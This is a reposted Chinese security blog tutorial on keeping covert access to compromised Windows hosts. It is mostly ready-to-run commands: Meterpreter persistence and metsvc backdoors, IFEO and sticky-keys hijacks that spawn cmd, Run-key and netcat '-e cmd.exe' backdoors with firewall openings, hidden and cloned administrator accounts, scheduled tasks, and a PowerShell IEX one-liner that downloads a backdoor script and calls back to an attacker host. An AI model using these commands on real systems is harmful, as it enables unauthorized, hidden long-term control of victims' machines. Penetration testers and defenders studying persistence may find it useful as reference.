windows权限维持

admin 2021年8月27日14:40:00评论103 views字数 7464阅读24分52秒阅读模式

/01 Meterpreter权限维持

一,Persistence模块

1.1原理

上传vbs脚本,用来修改注册表信息:

在HKCUSOFTWAREMicrosoftWindowsCurrentVersionRun添加从而完成自启动

也有可能在

image-20210101172340215

优点:

开机自启,持久控制不需要认证

缺点:

容易被杀软查杀,任何人都可连接

1.2使用

拿到meterpreter后

1
run persistence -h

image-20201231152943382

-A:自动启动一个匹配的漏洞/多/处理程序来连接到代理

-X:开机启动,注册表位置

-U:当前用户登录自启动

-S:作为服务启动

-T:选择要使用的可执行模版

-L:后门传到远程主机的位置默认位%TEMP%

-P:使用的Payload,默认windows/meterpreter/reverse_tcp,该默认的payload生成为32位程序

-i:设置反向连接间隔时间

-p:设置反向连接的端口号

-r:设置反向连接的ip地址

例一:

1
run persistence -U -X -i 5 -p 7778 –r 192.168.79.128 -P windows/x64/meterpreter/reverse_tcp

image-20201231171123276

image-20210101172457845

例二:

加入-s,可能失败

1
run persistence -S -U -X -i 5 -p 7778 –r 192.168.111.128 -P windows/x64/meterpreter/reverse_tcp

image-20201231171207096

Tip:

image-20201231171006439

当使用run persistence进行持久化时默认远程路径会推送到 %TEMP%(“C:UsersAppDataLocalTemp”),当用户重启时,persistence持久化就 会出错,所以建议-L更换位置

例:

image-20201231172514772

例三:

-L指定后门位置

1
run persistence -i 5 -p 7779 -r 192.168.111.128 -L C:\Windows\System32

提前设置好监听handler

运行,windows的默认payload不是x64

image-20201231174651068

二,metsvc服务

2.1原理

metsvc模块是开机自启动的服务型后门,msf集成的权限持久化模块,通过服务启动,服务名是meterpreter, 监听端口是31337。

2.2使用

拿到meterpreter后

1
2
3
4
5
6
run metsvc -h
#模块信息
run metsvc -A
#启动服务
run metsvc -r
#移除服务

image-20201231181242031

session接收:

1
2
use exploit/multi/handler
set payload windows/metsvc_bind_tcp

image-20201231190104241

默认bind端口为31337

image-20210101150118609

三,Autorunscript

获取shell的时候自动执行持续化脚本,可以被Autorunscript执行的命令目录在metasploit/scripts/meterpreter

1
2
3
4
5
6
7
8
# persistence
use exploit/multi/handler
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 192.168.79.128
set LPORT 5555
set ExitOnSession false
set AutoRunScript persistence -r 192.168.78.128 -p 5556 -U -X -i 30
exploit

image-20210101170100788

接受shell

image-20210101170207751

就会自动运行persistence

另外也可以通过这个方法进行进程迁移

set AutoRunScript migrate -f

下面的同理

1
2
3
4
5
6
7
8
# metsvc
use exploit/multi/handler
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 192.168.78.117
set LPORT 5555
set ExitOnSession false
set AutoRunScript metsvc -A
exploit

/02 系统工具替换后门

一,辅助系统工具

Windows 的辅助功能提供了额外的选项(屏幕键盘,放大镜,屏幕阅读等),这种功能可能会被滥用于在启用 RDP 并获得 Administrator 权限的主机上实现持久化访问。这种技术会接触磁盘,或者需要修改注册表来执行远程存储的 payload。

涉及到的注册表项为IFEO(Image File Execution Options),默认是只有管理员和local system有权读写修改。

“HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindows NTCurrentVersionImage File Execution Options”

原理:

当我们按照常理运行属于IFEO列表的文件的时候(即可执行文件名在上述的注册表项下,出于 简化原因,IFEO使用忽略路径的方式来匹配它所要控制的程序文件名,所以程序无论放在哪个路径,只要名字没 有变化,它就可以正常运行。)会执行相关的选项参数,这里我们主要利用的参数是debugger,通过该参数我们 可以实现偷梁换柱。

image-20210101172206087

通过修改注册表指定程序数值实现

例一IE修改:

修改IE启动程序为例,实现运行IE程序但是启动的却是计算器。

  1. 找到注册表“HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindows NTCurrentVersionImage File
    Execution Options”目录下的iexplore.exe
  2. 添加一个debugger字符串键值,并且赋值为calc.exe的执行路径,“C:Windowssystem32calc.exe”
  3. 运行 iexplore.exe
1
REG ADD "HKLMSOFTWAREMicrosoftWindows NTCurrentVersionImage File Execution Optionsiexplore.exe" /t REG_SZ /v Debugger /d "C:windowssystem32cmd.exe" /f

image-20210101175901823

运行ie

image-20210101180417282

会弹出cmd:

image-20210101180426512

2.2 Narrator(讲述人)

1
REG ADD "HKLMSOFTWAREMicrosoftWindows NTCurrentVersionImage File Execution Optionsnarrator.exe" /t REG_SZ /v Debugger /d "C:windowssystem32cmd.exe" /f

image-20210101181123297

启动讲述人:image-20210101181220720

弹出cmd:

image-20210101181229423

2.3 Utilman(辅助工具管理器)

1
REG ADD "HKLMSOFTWAREMicrosoftWindows NTCurrentVersionImage File Execution Optionsutilman.exe" /t REG_SZ /v Debugger /d "C:windowssystem32cmd.exe" /f

image-20210101181628359

image-20210101181635001

点击及出cmd

2.4 Notepad

实现原程序退出后静默运行后门程序。以执行notepad为例,退出后静默运行calc.exe

1
2
3
4
5
reg add "HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindows NTCurrentVersionImage File Execution Optionsnotepad.exe" /v GlobalFlag /t REG_DWORD /d 512

reg add "HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindows NTCurrentVersionSilentProcessExitnotepad.exe" /v ReportingMode /t REG_DWORD /d 1

reg add "HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindows NTCurrentVersionSilentProcessExitnotepad.exe" /v MonitorProcess /t REG_SZ /d "C:Windowssystem32calc.exe"

image-20210101182408597

image-20210101182559205

image-20210101182609182

2.5 Shift后门

在windows登陆的时候按五次shift打开cmd进行操作。前提条件是:在将C盘windows目录下面的system32文件夹可写的情况下, 将里面的sethc.exe应用程序进行转移,并生成sethc.exe.bak文件。并将cmd.exe拷贝覆盖sethc.exe。 但是在windows xp过后,sethc组件属于完全受信用的用户TrustInstall,我们无法修改名字,这时候即使administrators都只有 名义上的只读和可执行权,我们可以手动修改其所属为administrators,步骤如下:

1
2
cd C:windows/System32/
dir sethc.exe

image-20210101183752155

1
move sethc.exe sethc.exe.bak

一般情况:

image-20210101185719988

image-20210101230709142

image-20210101230815351

image-20210101230833901

image-20210101230909736

1
copy cmd.exe sethc.exe

image-20210101230923821

连续使用按shift后弹出cmd

image-20210101231026326

2.6 MSF的后渗透模块Metasploit

Metasploit 框架提供了一个后渗透模块,可实现自动化地利用沾滞键的权限维持技术。该模块将用 CMD 替换辅 助功能的二进制文件(sethc, osk, disp, utilman)。

1
use post/windows/manage/sticky_keys

当目标主机的屏幕被锁定时,执行 utilman 工具将会打开一个具有 system 级别权限的命令提示符。

image-20210101232322775

image-20210101232344502

image-20210101232406035

image-20210101232749344

image-20210101232801668

/03 开机自启动注册表项

一,Run

1
2
3
4
5
#每次启动登录时都会按顺序自动执行。
HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionRun
HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersionRun
HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionPoliciesExplorerRun
HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionPoliciesExplorerRun

写入时需要提前上传好马,写入注册表即可。

二,RunOnce

1
2
3
#自动执行一次
HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionRunOnce
HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersionRunOnce

三,RunServicesOnce

1
2
3
#程序会在系统加载时自动启动执行一次
HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionRunServicesOnce
HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersionRunServicesOnce

四,RunServices

RunServices是继RunServicesOnce之后启动的程序

1
2
HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionRunServices
HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRunServices

知道路径就好0v0,就不动手测试了

五,NC后门

1
2
3
4
5
6
7
8
9
10
11
12
upload /root/nc.exe C:\windows\system32

reg enumkey -k HKLM\software\microsoft\windows\currentversion\run
reg setval -k HKLM\software\microsoft\windows\currentversion\run -v nc -d
‘C:windowssystem32nc.exe -Ldp 5555 -e cmd.exe’
reg queryval -k HKLM\software\microsoft\windows\currentversion\Run -v nc


execute -f cmd -i -H
netsh firewall show opmode
netsh firewall add portopening TCP 5555 “QQ” ENABLE ALL
shutdown -r -f -t 0
1
2
3
4
5
6
7
8
9
10
11
upload /root/nc.exe C:\windows\system32
shell
reg query HKLMsoftwaremicrosoftwindowscurrentversionrun
reg add HKLMsoftwaremicrosoftwindowscurrentversionrun /v nc /t REG_SZ /d
“C:windowssystem32nc.exe -Ldp 5555 -e cmd.exe”
reg query HKLMsoftwaremicrosoftwindowscurrentversionrun /v nc

execute -f cmd -i -H
netsh firewall show opmode
netsh firewall add portopening TCP 5555 “QQ” ENABLE ALL
shutdown -r -f -t 0

其实就是注册表维持的一种思路,将马变为nc.exe+nc命令更加隐蔽了QWQ

重点是下面的命令,开放进程,防火墙设置,隐藏界面。

/04 Other

一,schtasks计划任务

1
schtasks /create /sc MINUTE /mo 1 /tr C:UsersadminDesktoptcp6667.exe /tn test

提前上传好马:

image-20210101231801328

image-20210101231842232

1
2
3
4
5
6
7
8
9
10
11
#创建新的计划任务
schtasks /create
#
/sc schedule
#
/mo modifier
#
/tr <TaskRun>
#指定任务的名称
/tn <TaskName>

二,快捷方式劫持

Windows快捷方式包含对系统上安装的软件或文件位置(网络或本 地)的引用。快捷方式的文件扩展名是.LNK。

1
2
C:WindowsSystem32WindowsPowerShellv1.0powershell
.exe -c "invoke-item 'D:Programopenvpnbinopenvpngui.exe'; invoke-item c:windowssystem32calc.exe"

原理就是修改桌面的快捷方式:增加目标

image-20210101234210389

三,账号隐藏

注意管理员使用,且密码尽量不要超14位,不然会出错

隐藏用户:

1
net user admin$ Passw0ad!@ /add && net localgroup administrators admin$ /add

image-20210101235146067

激活Guest用户:

1
2
net user guest Admin@hacker && net localgroup administrators guest /add
net user guest /active:yes

image-20210101235329561

控制面板可查,命令不可查。

四,后门账号

创建克隆administrator账号,且通过命令net user 以及控制面板中的管理账户无法看到。

  1. 用’$’创建匿名用户,并归到administratorsa用户组
1
2
3
4
net user defaultuser0$ somepasswordhere /add /y
net localgroup administrators defaultuser0$ /add
net localgroup "remote desktop users" defaultuser0$ /add
#添加可远程登录

image-20210101235506060

image-20210101235556433

image-20210101235608992

  1. 之后将administrator用户对应的Users中的F值复制替换后门账户的F值

导出匿名用户对应的sam目录下的注册表键值

regedt32.exe 打开 HKEY_LOCAL_MACHINESAMSAMDomainsAccountUsers键值,导出Names下用户 目录以及对应的16进制目录。注意需要给Administrator用户赋予Sam键值权限,默认是不允许的。

image-20210101235855562

改好刷新,不然展开不了

image-20210102000100354

image-20210102000209704

注意修改F值

  1. 导出User下面的后门账户以及name下面的后门账户两个文件。

  2. 通过命令删除刚才的后门用户

1
net user defaultuser0$ /del

image-20210102000451106

  1. 通过注册表导入刚才保存的两个注册表

双击导出的注册表文件,

用先前导出的注册表键值对注册表进行修改。

则可以重新还原之前的匿名用户

但是除 了在注册表里面有用户记录,其他地方都不存在用户的信息。net user或计算机管理里本地用户和用户组是看不 到用户信息的,具有很好的隐蔽性质。

image-20210102001044717

知道用户名可可查看:

image-20210102001156782

五,文件夹下的自启动

在每次开机或重启的时候就会运行启动文件夹下的程序

1
2
C:Users{UserName}AppDataRoamingMicrosoftWindowsStart MenuProgramsStartup
C:ProgramDataMicrosoftWindowsStart MenuProgramsStartup

跟注册表类似

六,服务后门

1
sc create [ServerName] binPath= BinaryPathName

重启权限维持,但一般杀软会拦截

七,Task-Powershell

1
2
#维持机
powershell.exe -exec bypass -c "IEX(New-Object Net.WebClient).DownloadString('http://0.0.0.0:8000/Invoke-taskBackdoor.ps1').Invoke-Tasksbackdoor -method nccat -ip XXX.XXX.XXX.XXX -port 5556 -time 2"
1
2
#接收shell
nc -lvvp 5556

需要一台被连接的服务器。运行powershell脚本,不得不说powershell功能真强大QWQ。

详细的使用可用去看看博客里的window反弹shell大法的powershell的利用。

FROM :https://ailumao.cn/ | Author:Ailumao

相关推荐: 密码保护:weblogic rce cve-2020-2555 复现以及回显exp编写

这是一篇受密码保护的文章,您需要提供访问密码: 密码: 相关推荐: DEFCON CHINA&BCTF的一些随笔 萌新的第一次线下决赛,毫无意外的被打爆,打扰了我太菜了,告辞! 下面记录一下这次的收获吧。 靶场渗透 这次靶场是打的真的爽,也学习了很多东…

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2021年8月27日14:40:00
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   windows权限维持https://cn-sec.com/archives/475132.html

发表评论

匿名网友 填写信息